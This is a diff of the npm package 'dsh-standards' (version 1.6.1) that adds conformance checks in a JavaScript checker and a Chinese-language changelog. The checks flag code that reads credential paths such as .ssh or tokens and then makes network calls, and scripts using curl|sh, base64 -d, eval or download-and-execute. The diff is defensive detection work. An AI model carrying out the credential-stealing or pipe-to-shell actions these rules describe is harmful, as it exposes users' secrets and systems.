|
803
|
+
failures.push({ file: source.relative, line: read.line, api: read.api, reason: `${read.api} reads a path-named variable while the same function contains a credential-like literal and network egress at ${where}` })
|
|
804
|
+
} else {
|
|
805
|
+
warnings.push({ file: source.relative, line: read.line, api: read.api, item: 'C-17.2', reason: `${read.api} reads a path-named variable while the same function contains a credential-like literal at ${where}` })
|
|
806
|
+
}
|
|
807
|
+
continue
|
|
808
|
+
}
|
|
809
|
+
if (facts.egress) {
|
|
810
|
+
failures.push({ file: source.relative, line: read.line, api: read.api, reason: `${read.api} reads a home/secret-derived path and the same function performs network egress at ${where}` })
|
|
811
|
+
} else {
|
|
812
|
+
warnings.push({ file: source.relative, line: read.line, api: read.api, item: 'C-17.2', reason: `${read.api} uses a home/secret-derived path that cannot be fully resolved at ${where}` })
|
|
813
|
+
}
|
|
814
|
+
}
|
|
815
|
+
}
|
|
528
816
|
if (envEnumeration && hasEgressCall(parsed.ast)) {
|
|
529
|
-
warnings.push({ file: source.relative, line: 1, api: 'Object.keys(process.env)',
|
|
817
|
+
warnings.push({ file: source.relative, line: 1, api: 'Object.keys(process.env)', item: 'C-17.2', reason: 'environment enumeration with egress' })
|
|
530
818
|
}
|
|
531
819
|
}
|
|
532
820
|
for (const item of failures.slice(0, 8)) {
|
|
533
|
-
details.push(detail('C-17.1', 'FAIL',
|
|
821
|
+
details.push(detail('C-17.1', 'FAIL', item.reason, [`${item.file}:${item.line}`]))
|
|
534
822
|
}
|
|
535
823
|
for (const item of warnings.slice(0, 8)) {
|
|
536
|
-
details.push(detail('C-17.2', 'WARN',
|
|
824
|
+
details.push(detail(item.item ?? 'C-17.2', 'WARN', item.reason, [`${item.file}:${item.line}`]))
|
|
537
825
|
}
|
|
538
826
|
if (parseErrors > 0) {
|
|
539
827
|
details.push(detail('C-17.3', 'ERROR', `not-run: AST parse failed in ${parseErrors} source file(s)`, []))
|
package/CHANGELOG.md
CHANGED
|
@@ -1,3 +1,14 @@
|
|
|
1
|
+
## 1.6.1 — 2026-11-07
|
|
2
|
+
|
|
3
|
+
### Fixed
|
|
4
|
+
|
|
5
|
+
- DSC-17 现在识别 `os.homedir()`/`HOME`/`DSH_HOME` 与 `.dsh`/`.ssh`/`credentials`/`tokens` 的组合,并对“读取后外发”判 FAIL;恶意样本 s2 由 pass 改为 fail/exit 1。
|
|
6
|
+
- DSC-15 现在读取 `scripts` 引用的本地 JS/SH 内容(限包内、≤512 KB),`curl|sh`、`base64 -d`、`eval`、读凭据、下载执行判 FAIL;普通构建脚本仍 WARN。
|
|
7
|
+
- 10 个真实包回归:DSC-17 0 误报,DSC-15 0 新增 FAIL。
|
|
8
|
+
|
|
9
|
+
### Verified
|
|
10
|
+
|
|
11
|
+
- `npm test` 274/274。
|
|
1
12
|
## 1.6.0 — 2026-11-07
|
|
2
13
|
|
|
3
14
|
### Added
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "dsh-standards",
|
|
3
|
-
"version": "1.6.
|
|
3
|
+
"version": "1.6.1",
|
|
4
4
|
"description": "DSH plugin standards and conformance checks: ENTRY/FLOW checks plus BOOST guidance. Non-official; no certification or ranking.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"main": "40-checker/src/index.mjs",
|